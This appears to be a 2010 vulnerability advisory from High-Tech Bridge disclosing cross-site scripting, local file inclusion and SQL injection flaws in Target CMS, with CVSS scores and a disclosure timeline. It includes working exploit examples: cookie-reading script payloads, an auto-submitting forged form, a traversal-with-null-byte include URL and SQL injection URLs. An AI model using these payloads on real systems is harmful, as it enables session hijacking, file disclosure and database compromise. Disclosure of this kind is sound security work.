Stay in touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

Multiple vulnerabilities in TCMS

Advisory ID:HTB22571
Product:TCMS
Vendor:Target CMS
Vulnerable Versions:100728 and probably prior
Tested Version:100728
Advisory Publication:August 9, 2010 [without technical details]
Vendor Notification:August 9, 2010
Public Disclosure:August 23, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
PHP File Inclusion [CWE-98]
Risk Level:High
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Target CMS (TCMS), which could be exploited to perform cross-site scripting and SQL Injection attacks, read arbitrary files and compromise vulnerable system.

1) Cross-site scripting (XSS) vulnerabilities in TCMS
1.1 An input sanitation error was found in the "section" parameter in php/lib/admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is authorized and has access to administrative interface.
Exploitation example:
http://host/www/index.php?admin=1&section=language"><script>alert(document.c ookie)</script>&action=addLanguage
1.2 An input sanitation error was found in the "note" parameter in php/lib/admin.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is authorized and has access to administrative interface.
Exploitation example:
<form action="http://host/www/index.php" method="post" name="main" >
<input type="hidden" name="template" value="3" />
<input type="hidden" name="language" value="1" />
<input type="hidden" name="name" value="home" />
<input type="hidden" name="note" value='The note text"><script>alert(document.cookie)</script>' />
<input type="hidden" name="value" value="page content" />
<input type="hidden" name="admin" value="1" />
<input type="hidden" name="text" value="1" />
<input type="hidden" name="section" value="content" />
<input type="hidden" name="id" value="9" />
<input type="hidden" name="action" value="Save text" />
</form>
<script>
document.main.submit();
</script>


2) Local file inclusion in TCMS
Input passed to the "template" parameter in www/index.php is not properly sanitized before being used to include local files. A remote attacker can include arbitrary files on the target system using directory traversal sequences with NULL byte.
Exploitation example:
http://host/www/index.php?template=./../../../../../../../tmp/test.php%00

3) SQL injection vulnerabilities in TCMS
3.1 The vulnerability exists due to input sanitation error in the " content " parameter in php/template/content.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/www/index.php?template=home&content=home'+ANY_SQL
3.2 An input validation error exists in the "index" parameter in php/template/forum.php. A remote attacker can create an account with specially crafted email address and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database.
Exploitation example:
http://host/www/index.php?template=forum&action=showReplies&index=1'+ANY_SQL _CODE
3.3 The vulnerability exists due to input sanitation error in the "id" parameter in php/template/blog.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.
Exploitation example:
http://host/www/index.php?template=blog&id=1'+ANY_SQL_CODE


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22571 - https://www.htbridge.com/advisory/HTB22571 - Multiple vulnerabilities in TCMS
[2] TCMS - targetcms.com - Target CMS (TCMS) is an all-PHP Content Management System, using MySQL to hold all textual site content and providing an easy-to-use admin interface.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
High-Tech Bridge on Facebook High-Tech Bridge on Twitter High-Tech Bridge on LinkedIn High-Tech Bridge RSS Feeds Send by Email
Share
Let's Talk